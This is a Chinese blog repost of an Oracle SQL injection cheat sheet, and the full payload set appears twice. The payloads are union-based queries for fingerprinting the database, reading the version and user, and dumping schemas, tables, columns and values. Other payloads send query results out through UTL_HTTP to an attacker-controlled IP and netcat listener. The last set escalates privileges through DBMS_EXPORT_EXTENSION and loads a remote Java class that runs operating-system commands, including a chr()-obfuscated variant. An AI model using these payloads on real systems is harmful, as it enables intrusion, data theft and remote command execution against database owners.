oracle 注射

最新推荐文章于 2024-04-21 19:18:57 发布
最新推荐文章于 2024-04-21 19:18:57 发布
阅读量480 收藏
点赞数
分类专栏： Hacking 文章标签： oracle null table 数据库 domain command
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/god_7z1/article/details/6604052
版权

作者:不详

来源:不详

判断是否为Oralce数据库:

And 0<>(select count(*) from dual) 返回正常页面表示为Oracle数据库

猜解字段数量:
使用order by 或者group by逐个提交数字 知道回显错误页面

列出字段数目 比如6个字段数目

and 1=1 null,null,null,null,null,null from dual-

因为ORACLE数据库是不自动匹配数据类型的，而null可以匹配任意数据类型，所以这样提交不会报错。 提交它返回了正常页面.

检测当前字段的数据类型，在null的前后加上‘’引号，如果返回正常则说明该字段为字符型，如果返回错误有可能是数字型的，如果不是数字型，那么就是其它类型
例如提交语句: and 1=1 union select null,’null’,null,’null’,null,’null’ from dual–

读取Oracle数据库版本:
把回显的数字替换成 and 1=2 union select 1,(select banner from sys.v_$version where rownum=1),3,’4′,5,’6′ from dual–

读取Oracle当前数据库连接用户名:
and 1=2 union select 1,(select SYS_CONTEXT (‘USERENV’, ‘CURRENT_USER’) from dual),3,’4′,5,’6′ from dual–

读取当前网站的操作系统的版本:
and 1=2 union select 1,(select member from v$logfile where rownum=1),3,’4′,5,’6′ from dual-

判断UTL_HTTP包是否存在 :
select count(*) from all_objects where object_name=’UTL_HTTP’

利用UTL_HTTP注入 :

在本地用NC监听，使用’and UTL_HTTP.request(‘http://IP:2009/’||(查询语句))=1–的形式 . 本地先 nc -l -vv -p 2009，然后提交
‘and UTL_HTTP.request(‘http://IP:2009/’||(select banner from sys.v_$version where rownum=1))=1–

爆库:
‘and UTL_HTTP.request(‘http://ip:2009/’||(select owner from all_tables where
rownum=1))=1–   爆出第一个库

‘and UTL_HTTP.request(‘http://IP:2009/’||(select owner from all_tables where
owner<>’第一个库名’ and rownum=1))=1–

‘and UTL_HTTP.request(‘http://IP:2009/’||(select owner from all_tables where
owner<>’第二个库名’ and owner<>’第一个库名’ and rownum=1))=1–

爆表 :

‘and UTL_HTTP.request(‘http://IP:2009/’||(select TABLE_NAME from all_tables
where owner=’库名’and rownum=1))=1–

‘and UTL_HTTP.request(‘http://IP:2009/’||(select TABLE_NAME from all_tables
where owner=’库名’and rownum=1 and TABLE_NAME<>’第一个表名’))=1–

‘and UTL_HTTP.request(‘http://IP:2009/’||(select TABLE_NAME from all_tables
where owner=’库名’and rownum=1 and TABLE_NAME<>’第一个表名’ and TABLE_NAME<>’
第二个表名’))=1–

爆表列:

‘and UTL_HTTP.request(‘http://IP:2009/’||(select count(*) from user_tab_columns where table_name=’表名’))=1–   第一个表列名
或者
‘and UTL_HTTP.request(‘http://IP:2009/’||(select * from user_tab_columns where table_name=’表名’ and rownum=1))=1–  第一个表列名

‘and UTL_HTTP.request(‘http://IP:2009/’||(select * from user_tab_columns where table_name=’表名’ and rownum=1 and COLUMN_NAME<>’第一个爆出的列名’))=1–

爆字段值:

‘and UTL_HTTP.request(‘http://IP:2009/’||(select 表段 from 表名 where  rownum=1))=1–

‘and UTL_HTTP.request(‘http://IP:2009/’||(select 表段 from 表名 where rownum=1 and 表段<>’第一个表段值’))=1–

利用SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES函数 获取系统权限 :

‘and
SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES (‘FOO’,'BAR’,'DBMS_OUTPUT”.PUT(:P1); utl_http.request
(‘http://www.xx.com/1.txt’) END;–’,'SYS’,0,’1′,0)=0–

假如提交后返回该页无法显示。换成char() 形式后and
SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(39)||chr(70)||chr
(79),chr(79)||chr(39)||chr(44),chr(39)||chr(66)||chr(65)||chr(82)||chr(39)
||chr(44)||chr(39)||chr(68)||chr(66)||chr(77)||chr(883)||chr(95)||chr(79)
||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr
(49)||chr(41)||chr(59)||utl_http.request(chr(39)||chr(104)||chr(116)||chr
(116)||chr(112)||chr(58)||chr(47)||chr(47)||chr(119)||chr(119)||chr(119)||chr
(46)||chr(108)||chr(105)||chr(45)||chr(116)||chr(101)||chr(107)||chr(46)||chr
(99)||chr(111)||chr(109)||chr(47)||chr(49)||chr(46)||chr(116)||chr(120)||chr
(116)||chr(39))||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)||chr
(39),chr(39)||chr(83)||chr(89)||chr(83)||chr(39),0,chr(39)||chr(49)||chr
(39),0)=0–

远程地址的1.txt内容为 ：
EXECUTE IMMEDIATE ‘DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE
IMMEDIATE ”CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED “JAVACMD” AS
import java.lang.*;import java.io.*;public class JAVACMD{public static void
execCommand (String command)     throws IOException {Runtime.getRuntime
().exec(command);}};”;END;’

==========================================

①判断是否为Oralce数据库:

And 0<>(select count(*) from dual) 返回正常页面表示为Oracle数据库

②猜解字段数量:

使用order by 或者group by逐个提交数字 直到回显错误页面

③列出字段数目 比如6个字段数目

and  1=1 null,null,null,null,null,null from dual—

因为ORACLE数据库是不自动匹配数据类型的，而null可以匹配任意数据类型，所以这样提交不会报错。 提交它返回了正常页面.

现在来检测当前字段的数据类型，在null的前后加上‘’引号，如果返回正常则说明该字段为字符型，如果返回错误有可能是数字型的，如果不是数字型，那么就是其它类型

例如提交语句: and 1=1 union select null,’null’,null,’null’,null,’null’ from dual–

④读取Oracle数据库版本:

把回显的数字替换成 and 1=2 union select 1,(select banner from sys.v_$version where rownum=1),3,’4′,5,’6′ from dual–

⑤读取Oracle当前数据库连接用户名:

and 1=2 union select 1,(select SYS_CONTEXT (‘USERENV’, ‘CURRENT_USER’) from dual),3,’4′,5,’6′ from dual–

⑥读取当前网站的操作系统的版本:

and 1=2 union select 1,(select member from v$logfile where rownum=1),3,’4′,5,’6′ from dual—

⑦读取表名:

and 1=2 union select 1,TABLE_NAME,3,’4′,5,’6′ from USER_TABLES–

⑧读取表中字段名:

and 1=2 union select 1,COLUMN_NAME,3,’4′,5,’6′ from COLS where TABLE_NAME=’要爆的表名’–

⑨读取表中字段名的数据:

and 1=2 union select 1,NAME,3,’4′,5,’6′ from 字段名–
——————————–
⑩判断UTL_HTTP包是否存在 :
select count(*) from all_objects where object_name=’UTL_HTTP’

利用UTL_HTTP注入 :

在本地用NC监听，使用’and UTL_HTTP.request(‘http://IP:2009/’||(查询语句))=1–的形式 . 本地先 nc -l -vv -p 2009，然后提交
‘and UTL_HTTP.request(‘http://IP:2009/’||(select banner from sys.v_$version where rownum=1))=1–

‘and UTL_HTTP.request(‘http://ip:2009/’||(select owner from all_tables where rownum=1))=1–   爆出第一个库

‘and UTL_HTTP.request(‘http://IP:2009/’||(select owner from all_tables where owner<>’第一个库名’ and rownum=1))=1–

‘and UTL_HTTP.request(‘http://IP:2009/’||(select owner from all_tables where owner<>’第二个库名’ and owner<>’第一个库名’ and rownum=1))=1–

爆表 :

‘and UTL_HTTP.request(‘http://IP:2009/’||(select TABLE_NAME from all_tables where owner=’库名’and rownum=1))=1–

‘and UTL_HTTP.request(‘http://IP:2009/’||(select TABLE_NAME from all_tables where owner=’库名’and rownum=1 and TABLE_NAME<>’第一个表名’))=1–

‘and UTL_HTTP.request(‘http://IP:2009/’||(select TABLE_NAME from all_tables where owner=’库名’and rownum=1 and TABLE_NAME<>’第一个表名’ and TABLE_NAME<>’第二个表名’))=1–

爆表列:

‘and UTL_HTTP.request(‘http://IP:2009/’||(select count(*) from user_tab_columns where table_name=’表名’))=1–   第一个表列名
或者
‘and UTL_HTTP.request(‘http://IP:2009/’||(select * from user_tab_columns where table_name=’表名’ and rownum=1))=1–  第一个表列名

‘and UTL_HTTP.request(‘http://IP:2009/’||(select * from user_tab_columns where table_name=’表名’ and rownum=1 and COLUMN_NAME<>’第一个爆出的列名’))=1–

爆字段值:

‘and UTL_HTTP.request(‘http://IP:2009/’||(select 表段 from 表名 where rownum=1))=1–

‘and UTL_HTTP.request(‘http://IP:2009/’||(select 表段 from 表名 where rownum=1 and 表段<>’第一个表段值’))=1–”

利用SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES函数 获取系统权限 :

‘and SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(‘FOO’,'BAR’,'DBMS_OUTPUT”.PUT(:P1); utl_http.request (‘http://www.xx.com/1.txt’) END;–’,'SYS’,0,’1′,0)=0–

假如提交后返回该页无法显示。换成char() 形式后and SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(39)||chr(70)||chr(79),chr(79)||chr(39)||chr(44),chr(39)||chr(66)||chr(65)||chr(82)||chr(39)||chr(44)||chr(39)||chr(68)||chr(66)||chr(77)||chr(883)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||utl_http.request(chr(39)||chr(104)||chr(116)||chr(116)||chr(112)||chr(58)||chr(47)||chr(47)||chr(119)||chr(119)||chr(119)||chr(46)||chr(108)||chr(105)||chr(45)||chr(116)||chr(101)||chr(107)||chr(46)||chr(99)||chr(111)||chr(109)||chr(47)||chr(49)||chr(46)||chr(116)||chr(120)||chr(116)||chr(39))||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)||chr(39),chr(39)||chr(83)||chr(89)||chr(83)||chr(39),0,chr(39)||chr(49)||chr(39),0)=0–

远程地址的1.txt内容为 ：
EXECUTE IMMEDIATE ‘DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ”CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED “JAVACMD” AS import java.lang.*;import java.io.*;public class JAVACMD{public static void execCommand (String command) throws IOException {Runtime.getRuntime().exec(command);}};”;END;’

7禧
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
Oracle EBS Interface/API(54)- GL日记账审批
陈显平的专栏-Oracle EBS
04-19 149
背景：客户化创建薪酬凭证或者银企付款入账日记账以后，用户希望自动提交审批流程，无需到系统标准功能点击审批，减少用户操作。
Practice Exam: Oracle Cloud Infrastructure Generative AI Professional
最新发布
engchina的专栏
04-22 1024
Practice Exam: Oracle Cloud Infrastructure Generative AI Professional
oracle注射,oracle 注射
weixin_35917052的博客
04-09 44
作者:不详来源:不详判断是否为Oralce数据库:And 0<>(select count(*) from dual) 返回正常页面表示为Oracle数据库猜解字段数量:使用order by 或者group by逐个提交数字 知道回显错误页面列出字段数目 比如6个字段数目and 1=1 null,null,null,null,null,null from dual-因为ORACLE数据...
oracle注射,oracle注射总结
weixin_30849279的博客
04-09 70
资料：http://www.petefinnigan.com/papers/detect.sql'a'='a' or 1=1SQL> exec get_cust('x'' union select username from all_users where ''x''=''x');debug:select customer_phone from customers where custome...
oracle注射,Oracle 注射相关语句
weixin_39629188的博客
04-09 34
判断是否为Oralce数据库:And 0<>(select count(*) from dual) 返回正常页面表示为Oracle数据库猜解字段数量:使用order by 或者group by逐个提交数字 知道回显错误页面列出字段数目 比如6个字段数目and 1=1 null,null,null,null,null,null from dual-因为ORACLE数据库是不自动匹配数据类...
oracle注射,Hacking Oracle 之光标注射
weixin_33002763的博客
04-09 47
Beats By Dr Dre Studio Pittsburgh Steelers HighDefinition UK：Beats By Dr.Dre Studio Colorful Champagne Limited Edition UK,Beats By Dr.Dre Studio Colorware Chrome Limited Edition UK,Beats By Dr.Dre Stu...
oracle注射,浅谈Oracleweb环境注射技术
weixin_35729227的博客
04-09 70
欢迎进入Oracle社区论坛，与200万技术人员互动交流 >>进入 一 Oracle 简单介绍 Oracle作为一款比较早期出现的RDBMS数据库，市场占有率比较大，经常用在一些大型数据库上。它本身除了很好地支持各种SQL语句外，还提供了各种丰富的包，存储过程，甚至支持java欢迎进入Oracle社区论坛，与200万技术人员互动交流 >>进入一 Oracle 简单介绍Or...
Oracle注射笔记
10-07
Oracle注射笔记Oracle注射笔记Oracle注射笔记
oracle入侵与SQL注射技巧
06-09
oracle入侵与SQL注射技巧
oracle数据库注射资料
06-06
一份很好的学习资料，英文好的朋友可以看看。
Oracle 专用注射器 [线程版]
10-22
Oracle 专用注射器 [线程版] 无毒 经bitdefender查杀
oracle的一些tips技巧
12-16
最近群里好多人讨论oracle安全问题,今天找了些资料学习了下 获取Oracle当前会话的一些属性 (对于sql注射的环境判断很有用哦) SYS_CONTEXT 函数返回是与上下文名称空间相关的属性值。这个函数可以用在SQL和PL/SQL...
请解释Java中的Hibernate框架
yijiedsfrt的博客
04-19 403
2. **持久化类（Persistent Class）**：持久化类是Java应用程序中的任何Java类，可以被Hibernate用来创建，查询，更新或删除数据库表中的记录。1. **实体（Entity）**：在Hibernate中，实体是一个带有`@Entity`注解的Java类，它映射到数据库中的一个表。6. **映射（Mapping）**：映射是定义Java类和数据库表之间关系的过程。1. **配置Hibernate**：首先，需要配置Hibernate，包括数据库的URL、用户名、密码等信息。
oracle操作系统OS认证和密码文件认证
qq_34595089的博客
04-20 910
Oracle登录认证方式主要涉及到如何验证用户身份以访问数据库。Oracle数据库提供了多种认证机制来确保数据的安全性和访问控制，每种方式都有其特定的使用场景和安全性考虑。以下是Oracle中常见的登录认证方式：1、基于操作系统的认证（OS认证）在基于操作系统的认证中，Oracle依赖底层操作系统的用户身份验证机制。当使用OS认证时，Oracle进程以操作系统用户的身份运行，并继承该用户的权限。这种认证方式通常用于本地连接，特别是在Unix/Linux系统上。
【MySQL】脏读，幻读，不可重复读
weixin_74127402的博客
04-21 612
脏读，幻读，不可重复读，脏读和幻读和不可重复读的区别
在PostgreSQL中如何处理大对象（Large Objects），例如存储和检索二进制文件？
墨松笔记
04-19 1011
PostgreSQL 提供了对大对象（Large Objects）的支持，这是一种特殊的数据类型，用于存储大量数据，通常用于存储二进制文件或大型文本数据。大对象存储在数据库外部，但在数据库内部进行管理，从而允许您像处理普通数据库对象一样处理它们。您需要提供大对象的 OID、要写入的偏移量（从文件开始的位置）以及要写入的数据。以下是在 PostgreSQL 中处理大对象的基本步骤，包括存储和检索二进制文件的示例代码。这个函数返回一个 OID（对象标识符），您可以将其用作大对象的引用。函数从大对象中读取数据。
SQL注入简单总结
lizhiiiii的博客
04-20 1042
SQL注入即：是指对用户输入数据的合法性没有判断或过滤不严，攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的，在管理员不知情的情况下实现非法操作，以此来实现欺骗执行非授权的任意查询，从而进一步得到相应的数据信息。本质上来说就是这其中包含：1、用户能够控制输入 2、原本程序要执行的代码 拼接了用户输入的数据。
SQL语法基础-其他函数V
goubi4056的博客
04-21 619
SQL语法基础-其他函数-Oracle版
sql知识总结二（接上）
2401_82760239的博客
04-19 684
如果是字符型再判断闭合方式（备注：结尾加--+看是否闭合，若页面正常执行则闭合完成）>select floor(rand()*2);substring(),00,30 从00个字符开始显示30个字符。concat_ws()函数，将括号内数据用第一个字段连接起来。group_concat() 把查询到的结果合并到一行显示。rand()函数，随机返回0~1间的小数。concat() 合并字符。
oracle spatial 和oracle
12-05
Oracle是一种关系数据库管理系统，被广泛用于企业级应用中。它提供了强大的数据管理和查询功能，并支持事务处理、数据完整性约束等关系数据库的特性。 而Oracle Spatial是Oracle数据库的一个扩展功能，提供了对地理...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值